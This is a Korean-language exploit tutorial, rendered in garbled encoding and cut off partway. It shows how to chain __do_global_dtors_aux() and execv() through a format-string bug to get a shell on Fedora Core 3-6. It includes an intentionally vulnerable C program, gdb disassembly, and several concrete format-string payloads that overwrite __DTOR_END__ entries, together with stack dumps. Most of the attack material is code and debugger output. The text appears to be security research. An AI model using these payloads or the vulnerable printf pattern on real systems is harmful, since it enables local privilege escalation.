------------------------------------------------------------------------------------------------------------- Á¦¸ñ: Fedora Core 3,4,5,6 ³»¿¡¼­ exec °è¿­ ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ local format string exploit ¹æ¹ý #3 (Fedora Core 3,4,5,6 based local format string exploit method #3) ºÎÁ¦: À̹ø¿£ exec °è¿­ ÇÔ¼öµéÀ» ÀÌ¿ëÇÏ¿© local exploitÀ» ½ÃµµÇغ¸ÀÚ~ (ƯÁý 3ź) Å×½ºÆ® ȯ°æ: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org ------------------------------------------------------------------------------------------------------------- 0) Àâ´ã À̹ø¿¡ ¼Ò°³ÇϰíÀÚ ÇÏ´Â ±â¹ýÀº Áö±Ý±îÁö ¿¬±¸ÇÑ ³»¿ëµéÀ» Á¾ÇÕÀûÀ¸·Î Á¤¸®ÇÏ¿© Àû¿ëÇØº¸´Â °ø°ÝÀÌ µÉ °ÍÀÔ´Ï´Ù. ¸ÕÀú, ret(pop %eip) + exec °è¿­ ÇÔ¼ö °ø°Ý ±â¹ýÀ» ÀÚ¼¼È÷ ¼³¸íÇϰí ÀÖ´Â "Fedora Core 4,5,6 ³»¿¡¼­ local ½ºÅà ±â¹Ý overflow exploit ¹æ¹ý" ¹®¼­¸¦ ÀоîÁֽñ⠹ٶø´Ï´Ù. À̾, __do_global_dtors_aux() ÇÔ¼ö °ø°Ý ±â¹ýÀ» ¼Ò°³ÇÑ "Fedora Core 3,4,5,6 ³»¿¡¼­ do_system ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ local format string exploit ¹æ¹ý #2" ¹®¼­µµ ²À ÀоîÁÖ¼¼¿ä. À̹ø¿¡´Â __do_global_dtors_aux() ÇÔ¼ö¿Í exec °è¿­ ÇÔ¼öÀÇ Á¶ÇÕÀ» ÅëÇØ ¿øÇÏ´Â ±ÇÇÑÀ» ȹµæÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ¿¬±¸Çغ¼ °ÍÀÔ´Ï´Ù. 1) __do_global_dtors_aux() + setuid() + do_system() °ø°Ý ±â¹ýÀÇ ¹®Á¦Á¡ ÀÏÀü¿¡ ¼Ò°³Çصå·È´ø __do_global_dtors_aux() + setuid() + do_system() ÇÔ¼ö Á¶ÇÕÀ» ÅëÇÑ °ø°Ý ±â¹ýÀº ÇÑ °¡Áö ´ÜÁ¡ÀÌ ÀÖ½À´Ï´Ù. ¹Ù·Î, root uid ±ÇÇÑÀ» ¾òÀ» ¶§¸¸ °ø°Ý °¡´ÉÇÏ´Ù´Â °ÍÀÔ´Ï´Ù. ½ÇÁ¦·Î local exploit ½Ã¿¡´Â root uid°¡ ¾Æ´Ñ ´Ù¸¥ uid ±ÇÇÑÀÇ »ç¿ëÀÚ¸¦ ¾ò¾î¾ß µÉ ¶§µµ ÀÖ½À´Ï´Ù. ÀÌ ¹®Á¦Á¡À» ÇØ°áÇϱâ À§ÇØ local overflow ±â¹ýÀº ÀüºÎ exec °è¿­ ÇÔ¼ö¸¦ ÅëÇØ °ø°ÝÇϰí ÀÖ½À´Ï´Ù. À̹ø ¹®¼­¸¦ ÅëÇØ local format string ±â¹ý ¿ª½Ã exec °è¿­ ÇÔ¼ö¸¦ ÅëÇØ °ø°ÝÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀ» Áõ¸íÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. 2) °ø°Ý ¿ø¸® ¼³¸í 2-1) execv() ÇÔ¼ö¿Í execve() ÇÔ¼ö ¼öÇà ºÐ¼® exec °è¿­ ÇÔ¼ö Áß, execv() ÇÔ¼ö¸¦ ±âÁØÀ¸·Î ¼³¸íµå¸®°Ú½À´Ï´Ù. Áö±Ý±îÁö exec °è¿­ °ø°ÝÀÇ ±âÁØÀÌ µÇ¾ú´ø execve() ÇÔ¼ö´Â ÃÑ ¼¼ °³ÀÇ ÀÎÀÚ¸¦ ÇÊ¿ä·Î ÇÕ´Ï´Ù. ÇÏÁö¸¸, execv() ÇÔ¼öÀÇ °æ¿ì, µÎ °³ÀÇ ÀÎÀÚ¸¸ ÃæÁ·½Ã۸é exploitÀÌ °¡´ÉÇÕ´Ï´Ù. (environment ÀÎÀÚ ÀÔ·ÂÀ» ÇÊ¿ä·Î ÇÏÁö ¾ÊÀ½) ±× ¹Û¿¡ exec °è¿­ ÇÔ¼ö¸¦ º¸·Á¸é, man execv ¸í·ÉÀ» ÅëÇØ º¸´Ù ´õ ÀÚ¼¼ÇÑ »çÇ×À» È®ÀÎÇØº¸½Ã±â ¹Ù¶ø´Ï´Ù. ------------------------------------------------------------------------------------------------------------- int execv( const char *path, char *const argv[]); The execv() and execvp() functions provide an array of pointers to null-terminated strings that represent the argument list available to the new program. The first argument, by convention, should point to the filename associated with the file being executed. The array of pointers must be terminated by a NULL pointer. ------------------------------------------------------------------------------------------------------------- Fedora core 6 ½Ã½ºÅÛÀ» ±âÁØÀ¸·Î ºÐ¼®Çغ¼ °ÍÀÔ´Ï´Ù. ´ÙÀ½Àº execv() ÇÔ¼ö¿Í execve() ÇÔ¼ö ºÐ¼® °á°úÀÔ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- (gdb) disass execv Dump of assembler code for function execv: 0x00b32d60 : push %ebx 0x00b32d61 : call 0xabad70 <__i686.get_pc_thunk.bx> 0x00b32d66 : add $0xab28e,%ebx 0x00b32d6c : sub $0xc,%esp 0x00b32d6f : mov 0xffffffb4(%ebx),%eax 0x00b32d75 : mov (%eax),%eax // environment Æ÷ÀÎÅ͸¦ %eax¿¡ ³Ö°í, 0x00b32d77 : mov %eax,0x8(%esp) // execve() ¼¼ ¹øÂ° ÀÎÀÚÀÎ environment¸¦ ³ÖÀ½. 0x00b32d7b : mov 0x18(%esp),%eax // execv() µÎ ¹øÂ° ÀÎÀÚ¸¦ %eax¿¡ ³Ö°í, 0x00b32d7f : mov %eax,0x4(%esp) // execve() µÎ ¹øÂ° ÀÎÀÚÀÎ argument ptr¸¦ ³ÖÀ½. 0x00b32d83 : mov 0x14(%esp),%eax // execv() ù ¹øÂ° ÀÎÀÚ¸¦ %eax¿¡ ³Ö°í, 0x00b32d87 : mov %eax,(%esp) // execve() ù ¹øÂ° ÀÎÀÚ¸¦ ³ÖÀ½. 0x00b32d8a : call 0xb32c00 // stack¿¡ %eip( ÄÚµå) ·¹Áö½ºÅ͸¦ push ÇÔ. 0x00b32d8f : add $0xc,%esp 0x00b32d92 : pop %ebx 0x00b32d93 : ret ... (gdb) disass execve Dump of assembler code for function execve: 0x00b32c00 : sub $0x8,%esp 0x00b32c03 : mov %ebx,(%esp) 0x00b32c06 : mov 0x10(%esp),%ecx // execve() µÎ ¹øÂ° ÀÎÀÚ¸¦ %ecx ·¹Áö½ºÅÍ¿¡ ³ÖÀ½ (argument ptr) 0x00b32c0a : mov %edi,0x4(%esp) 0x00b32c0e : mov 0x14(%esp),%edx // execve() ¼¼ ¹øÂ° ÀÎÀÚ¸¦ %edx ·¹Áö½ºÅÍ¿¡ ³ÖÀ½ (environment) 0x00b32c12 : call 0xabad70 <__i686.get_pc_thunk.bx> 0x00b32c17 : add $0xab3dd,%ebx 0x00b32c1d : mov 0xc(%esp),%edi // execve() ù ¹øÂ° ÀÎÀÚ¸¦ %edi ·¹Áö½ºÅÍ¿¡ Àӽ÷Π³ÖÀ½ 0x00b32c21 : xchg %ebx,%edi // %edi ·¹Áö½ºÅÍ(execve() ù ¹øÂ° ÀÎÀÚ)¸¦ %ebx ·¹Áö½ºÅÍ¿Í ±³È¯. 0x00b32c23 : mov $0xb,%eax // _NR_execve syscall ¹øÈ£¸¦ %eax ·¹Áö½ºÅÍ¿¡ ³ÖÀ½ 0x00b32c28 : call *%gs:0x10 // ÀÎÅÍ·´Æ® ------------------------------------------------------------------------------------------------------------- ºÐ¼® °á°ú¸¦ º¸½Ã¸é, ¼¼ °³ÀÇ ÀÎÀÚ¸¦ ÇÊ¿ä·Î ÇÏ´Â execve() ÇÔ¼öº¸´Ù µÎ °³ÀÇ ÀÎÀÚ¸¦ ÇÊ¿ä·Î ÇÏ´Â execv() ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀÌ °ø°ÝÀÇ ¼º°ø·üÀ» ³ôÀÏ ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ½À´Ï´Ù. 2-2) shell ½ÇÇà °¡´ÉÇÑ ±¸Á¶ ¸¸µé±â ½ÃÇè ´ÙÀ½Àº Ãë¾àÁ¡À» ½ÃÇèÇÒ ÇÁ·Î±×·¥ ÄÚµåÀÔ´Ï´Ù. ¸Å¿ì ÀϹÝÀûÀÎ format string Ãë¾àÁ¡À» °¡Áö°í ÀÖ½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- [root@x0x __do_global_dtors_aux_test]# cat vuln.c #include /* case #1 */ int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); return 0; } [root@x0x __do_global_dtors_aux_test]# gcc -o vuln-test vuln.c ------------------------------------------------------------------------------------------------------------- exploit ½Ã, execv() ÇÔ¼ö¸¦ ÅëÇØ shell ½ÇÇàÀÌ °¡´ÉÇÑ ±¸Á¶¸¦ ¸¸µé·Á¸é, ¸î °¡Áö ÇÊ¿äÇÑ »çÇ×ÀÌ ÀÖ½À´Ï´Ù. ¾Õ¼­ÀÇ execv() ÇÔ¼ö ºÐ¼® ³»¿ëÀ» º¸¸é, execve() ÇÔ¼ö¸¦ È£ÃâÇϱâ Á÷Àü, %esp ·¹Áö½ºÅÍÀÇ °ªÀÌ ½ÇÇàÇÒ ½ÇÁ¦ ¸í·É¾î¸¦ ´ã°í ÀÖ½À´Ï´Ù. ±×·³, ¸ÕÀú __DTOR_END__ ÁÖ¼Ò¿¡ execv() ÇÔ¼ö ÁÖ¼Ò¸¦ µ¤¾î¾º¿ì´Â ½ÃÇèÀ» ÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- #1. ù ¹øÂ° ½ÃÇè °á°ú: °ø°Ý ½ÇÆÐ ÀÌÀ¯: execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ°, µÎ ¹øÂ° ÀÎÀÚ °ªÀÌ ¿Ã¹Ù¸£Áö ¾ÊÀ½. [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08"`%56664x%5\$n%8889x%6\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x/x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x0019dd60 <--- __DTOR_END__ ÁÖ¼Ò¸¦ execv() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) x/x $esp <--- execv() ÇÔ¼ö ÁøÀÔ Á÷ÈÄÀÇ stack pointer 0xbffbb91c: 0x0804834b (gdb) 0xbffbb920: 0x00000003 <--- execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) 0xbffbb924: 0x00000003 <--- execv() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) 0xbffbb928: 0xbffbb938 <--- __do_global_dtors_aux+0¿¡¼­ ÀúÀåµÈ _fini() ÇÔ¼ö ³»ÀÇ %ebp (gdb) 0xbffbb92c: 0x080484a0 <--- _fini() ÇÔ¼ö ³»ÀÇ return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbffbb920: 0x00000003 <--- execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) x/x $esp+0x18 0xbffbb924: 0x00000003 <--- execv() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) (gdb) x/x $esp <--- execve() ÇÔ¼ö¸¦ ºÎ¸£±â Á÷Àü stack pointer 0xbffbb90c: 0x00000003 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ (gdb) 0xbffbb910: 0x00000003 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ (gdb) 0xbffbb914: 0xbffbba70 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x3: Cannot access memory at address 0x3 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $ecx 0x3: Cannot access memory at address 0x3 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $edx 0xbffbba70: 0xbffbbc04 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ °ª (gdb) ------------------------------------------------------------------------------------------------------------- Àß »ìÆì º¸½Ã¸é, execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ, µÎ ¹øÂ° ÀÎÀÚ °ªÀÌ ¿Ã¹Ù¸£Áö ¾ÊÀº °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. °ø°ÝÀ» ¼º°ø½Ã۱â À§Çؼ­´Â, execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ, µÎ ¹øÂ° ÀÎÀÚ °ª¸¸ Àß Á¶ÀýÇÏ¸é µË´Ï´Ù. ÀÌÀüÀÇ __do_global_dtors_aux()¸¦ ÀÌ¿ëÇÑ format string °ø°Ý ¹®¼­¿¡¼­ ¼Ò°³Çß´ø ¹æ¹ýÀ» ±×´ë·Î ½ÃÇèÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. À̹ø¿£ __DTOR_END__ ÁÖ¼Ò¿¡ __do_global_dtors_aux() ÇÔ¼ö¸¦ µ¤¾î¾º¿î ÈÄ, execv() È£ÃâÇÑ °á°úÀÔ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- #2. µÎ ¹øÂ° ½ÃÇè °á°ú: °ø°Ý ½ÇÆÐ ÀÌÀ¯: execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ¿¡ nullÀÌ µé¾î°¨, µÎ ¹øÂ° ÀÎÀÚ °ªÀÌ ¿Ã¹Ù¸£Áö ¾ÊÀ½. [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x08"`%33568x%5\$n%34004x%6\$n%5 4620x%7\$n%8889x%8\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x/x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ ÁÖ¼Ò¸¦ __do_global_dtors_aux() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) 0x80494c4 <__JCR_LIST__>: 0x0019dd60 <--- __DTOR_END__+4 ÁÖ¼Ò¸¦ execv() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) x/x $esp <--- execv() ÇÔ¼ö ÁøÀÔ Á÷ÈÄÀÇ stack pointer 0xbff5488c: 0x0804834b <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ return address(%eip) # µÎ ¹øÂ° È£Ãâ (°ø°Ý) (gdb) 0xbff54890: 0x00000000 <--- __do_global_dtors_aux() ³»¿¡¼­ ÇÒ´çµÈ Áö¿ª º¯¼ö 8byte (gdb) 0xbff54894: 0x00000001 (gdb) 0xbff54898: 0xbff548a8 <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ %ebp (gdb) 0xbff5489c: 0x0804834b <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ return address(%eip) # ù ¹øÂ° È£Ãâ (Á¤»ó) (gdb) 0xbff548a0: 0x00000003 <--- __do_global_dtors_aux() ³»¿¡¼­ ÇÒ´çµÈ Áö¿ª º¯¼ö 8byte (gdb) 0xbff548a4: 0x00000003 (gdb) 0xbff548a8: 0xbff548b8 <--- __do_global_dtors_aux+0¿¡¼­ ÀúÀåµÈ _fini() ÇÔ¼ö ³»ÀÇ %ebp (gdb) 0xbff548ac: 0x080484a0 <--- _fini() ÇÔ¼ö ³»ÀÇ return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbff54890: 0x00000000 <--- execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) x/x $esp+0x18 0xbff54894: 0x00000001 <--- execv() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) (gdb) x/x $esp <--- execve() ÇÔ¼ö¸¦ ºÎ¸£±â Á÷Àü stack pointer 0xbff5487c: 0x00000000 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ (gdb) 0xbff54880: 0x00000001 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ (gdb) 0xbff54884: 0xbff549f0 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x0: Cannot access memory at address 0x0 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $ecx 0x1: Cannot access memory at address 0x1 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $edx 0xbff549f0: 0xbff54c04 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ °ª (gdb) ------------------------------------------------------------------------------------------------------------- ÃÑ µÎ ¹øÀÇ __do_global_dtors_aux() ÇÔ¼ö°¡ ¼öÇàµÈ °á°úÀÔ´Ï´Ù. __do_global_dtors_aux() ÇÔ¼ö°¡ ÇÑ ¹ø ¼öÇàµÇ¾úÀ» ¶§ÀÇ °á°ú¿Í ´Ù¸£°Ô 16byteÀÇ °ø°£ÀÌ ´õ ÇÒ´çµÈ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux()¸¦ È£ÃâÇÏ¿© ÇÒ´çÇÑ 16byte ³»¿ë: ^ | ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ... +-----------------------------------------+ | __do_global_dtors_aux() Áö¿ª º¯¼ö 4byte |: ÇÒ´çµÈ Áö¿ª º¯¼ö (ÃÑ 8byte) +-----------------------------------------+ | __do_global_dtors_aux() Áö¿ª º¯¼ö 4byte | +-----------------------------------------+ | __do_global_dtors_aux() %ebp | +-----------------------------------------+ | __do_global_dtors_aux() %eip | +-----------------------------------------+ ... | ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ V ------------------------------------------------------------------------------------------------------------- execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î null(0x00000000)ÀÌ µé¾î°£ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ¸¸¾à execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î ½ÇÇà °¡´ÉÇÑ ÁÖ¼Ò¸¦ ¹èÄ¡Çϰí, µÎ ¹øÂ° ÀÎÀÚ¿¡ null(0x00000000) °ªÀÌ µé¾î°¡µµ·Ï ±¸¼ºÇÒ °æ¿ì, shellÀ» ¼öÇàÇÒ ¼ö ÀÖÁö ¾ÊÀ»±î, »ý°¢À» ÇØº¼ ¼ö ÀÖ°Ú½À´Ï´Ù. 2-3) °ø°Ý °¡´É¼º ¹ß°ß ¸î °¡Áö ½ÃÇèÀ» ½ÃµµÇغ» °á°ú, execv()ÀÇ Ã¹ ¹øÂ° ÀÎÀÚ¿Í µÎ ¹øÂ° ÀÎÀÚ Á¶°ÇÀ» ¸¸Á·½ÃŰ´Â ¹æ¹ýÀ» ãÀ» ¼ö ÀÖ¾ú½À´Ï´Ù. ±×°ÍÀº, __do_global_dtors_aux() ÇÔ¼ö ¼öÇàÀ» ÅëÇØ stack »ó¿¡ ÇÑ °³ÀÇ ÇÁ·¹ÀÓÀ» »ý¼ºÇÑ »óÅ¿¡¼­, Ãß°¡ÀûÀÎ Áö¿ª º¯¼ö¸¦ ÇÒ´çÇÏÁö ¾Ê°í, call Äڵ常 ¼öÇàÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. ÀÌ·¸°Ô ¼öÇàµÇ´Â call ÄÚµå´Â °á°úÀûÀ¸·Î ÇöÀç È£Ãâ ÁßÀÎ __do_global_dtors_aux() ÇÔ¼öÀÇ return address(%eip)¸¦ push ¸í·ÉÀ¸·Î stack¿¡ ÀúÀåÇÏ°Ô µË´Ï´Ù. °á±¹, ÀúÀåµÈ ÁÖ¼Ò°ªÀº execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î µé¾î°¡¸ç, µÎ ¹øÂ° ÀÎÀÚ´Â ¾Õ¼­ __do_global_dtors_aux() ÇÔ¼ö¸¦ È£ÃâÇÏ´Â ½ÃÇè °á°ú¿¡¼­ º¸¾ÒµíÀÌ null(0x00000000) °ªÀ» °®°Ô µË´Ï´Ù. ¹Ù·Î, ´ÙÀ½°ú °°Àº payload¸¦ ÅëÇØ °ø°Ý °¡´ÉÇÕ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- (1) __DTOR_END__+0 ÁÖ¼Ò¸¦ __do_global_dtors_aux() ÇÔ¼ö ÁÖ¼Ò·Î overwrite. (2) __DTOR_END__+4 ÁÖ¼Ò¸¦ __do_global_dtors_aux()+27 ÁÖ¼Ò·Î overwrite. (Á¤»óÀûÀ¸·Î callÄڵ带 ¼öÇàÇϱâ À§ÇØ) (3) __DTOR_END__+8 ÁÖ¼Ò¸¦ execv() ÇÔ¼ö ÁÖ¼Ò·Î overwrite. ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux() ÇÔ¼ö´Â Áö¿ª º¯¼ö 8byte¿Í ÇÔ²² ÀÌÀü ¼öÇà ÇÔ¼öÀÇ %ebp, ÀÌÀü ¼öÇà ÇÔ¼öÀÇ %eip ÁÖ¼Ò, ÃÑ 16byte¸¦ stack¿¡ ÀúÀåÇÕ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- (gdb) disass __do_global_dtors_aux Dump of assembler code for function __do_global_dtors_aux: <--- ÇÔ¼ö°¡ call µÇ¾úÀ» ¶§ %eip 4byte ÀúÀå 0x08048330 <__do_global_dtors_aux+0>: push %ebp <--- 4byte ÀúÀå 0x08048331 <__do_global_dtors_aux+1>: mov %esp,%ebp 0x08048333 <__do_global_dtors_aux+3>: sub $0x8,%esp <--- 8byte ÇÒ´ç 0x08048336 <__do_global_dtors_aux+6>: cmpb $0x0,0x80495b8 0x0804833d <__do_global_dtors_aux+13>: je 0x804834b <__do_global_dtors_aux+27> 0x0804833f <__do_global_dtors_aux+15>: jmp 0x804835d <__do_global_dtors_aux+45> 0x08048341 <__do_global_dtors_aux+17>: add $0x4,%eax 0x08048344 <__do_global_dtors_aux+20>: mov %eax,0x80495b4 0x08048349 <__do_global_dtors_aux+25>: call *%edx 0x0804834b <__do_global_dtors_aux+27>: mov 0x80495b4,%eax <--- *%edx ·¹Áö½ºÅ͸¦ callÇϱâ À§ÇÑ ½ÃÀÛ °úÁ¤ 0x08048350 <__do_global_dtors_aux+32>: mov (%eax),%edx 0x08048352 <__do_global_dtors_aux+34>: test %edx,%edx 0x08048354 <__do_global_dtors_aux+36>: jne 0x8048341 <__do_global_dtors_aux+17> 0x08048356 <__do_global_dtors_aux+38>: movb $0x1,0x80495b8 0x0804835d <__do_global_dtors_aux+45>: leave 0x0804835e <__do_global_dtors_aux+46>: ret 0x0804835f <__do_global_dtors_aux+47>: nop End of assembler dump. (gdb) ------------------------------------------------------------------------------------------------------------- ¾Õ¼­ ½ÃÇè¿¡¼­µµ º¸¾ÒµíÀÌ __do_global_dtors_aux() ÇÔ¼ö¸¦ ÇÑ ¹ø È£ÃâÇÏ¿´À» ¶§, stack¿¡´Â 0x00000000, 0x00000001 °ªÀÌ Áö¿ª º¯¼ö 8byte·Î ÇÒ´çµË´Ï´Ù. ¿©±â¼­, call *%edx ¹®¹ýÀ» Á¤»óÀûÀ¸·Î ¼öÇà½ÃÄÑÁÖ¸é, stackÀÇ ¸ð¾çÀº ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù. ------------------------------------------------------------------------------------------------------------- ^ | ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ... +-----------------------------------------------+ | ÇöÀç ¼öÇà ÁßÀÎ ÇÔ¼ö·Î µ¹¾Æ¿À´Â return address |: 4byte +-----------------------------------------------+ | ÇöÀç ¼öÇà ÁßÀÎ ÇÔ¼ö·Î µ¹¾Æ¿À´Â return address |: 4byte (execv() ù ¹øÂ° ÀÎÀÚ°¡ µÊ) +-----------------------------------------------+ | 0x00000000 |: 8byte (execv() µÎ ¹øÂ° ÀÎÀÚ°¡ µÊ) +-----------------------------------------------+ | 0x00000001 | +-----------------------------------------------+ | ÀÌÀü ÇÔ¼ö %ebp ·¹Áö½ºÅÍ |: 4byte +-----------------------------------------------+ ... | ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ V ------------------------------------------------------------------------------------------------------------- À§¿Í °°Àº stack ±¸Á¶¸¦ °¡Áö·Á¸é, __do_global_dtors_aux+25 ¹øÂ°¿¡¼­ Á¤»óÀûÀÎ call ¸í·ÉÀÌ ¼öÇàµÇ¾î¾ß ÇÕ´Ï´Ù. ÀÌ ¶§¹®¿¡ Á¤»óÀûÀÎ call ¸í·ÉÀ» ¼öÇàÇϱâ À§ÇØ, call *%edx°¡ ¼öÇàµÈ Á÷ ÈÄÀÎ __do_global_dtors_aux+27 À§Ä¡ºÎÅÍ ¼öÇàÇÏ´Â °ÍÀÔ´Ï´Ù. ¿ì¸®´Â ÀÌ·¸°Ô ÃÑ 20byteÀÇ °ø°£À» stack¿¡ ÀÓÀÇ·Î ÇÒ´çÇÏ¿© shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â Á¶°ÇÀ» ¸¸µé ¼ö ÀÖ½À´Ï´Ù. ½ÃÇè ÈÄ, stackÀÇ ³»¿ëÀº ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x08\xc8\x94\x04\x08\xca\x94\x04 \x08"`%33560x%5\$n%34004x%6\$n%31559x%7\$n%33977x%8\$n%54620x%9\$n%8889x%10\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ ÁÖ¼Ò¸¦ __do_global_dtors_aux() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) 0x80494c4 <__JCR_LIST__>: 0x0804834b <--- __DTOR_END__+4 ÁÖ¼Ò¸¦ __do_global_dtors_aux()+27 ÁÖ¼Ò·Î º¯°æ (gdb) 0x80494c8 <_DYNAMIC>: 0x0019dd60 <--- __DTOR_END__+8 ÁÖ¼Ò¸¦ execv() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) (gdb) x/x $esp <--- execv() ÇÔ¼ö ÁøÀÔ Á÷ÈÄÀÇ stack pointer 0xbfdbced8: 0x0804834b <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ return address(%eip) # ¼¼ ¹øÂ° È£Ãâ (°ø°Ý) (gdb) 0xbfdbcedc: 0x0804834b <--- 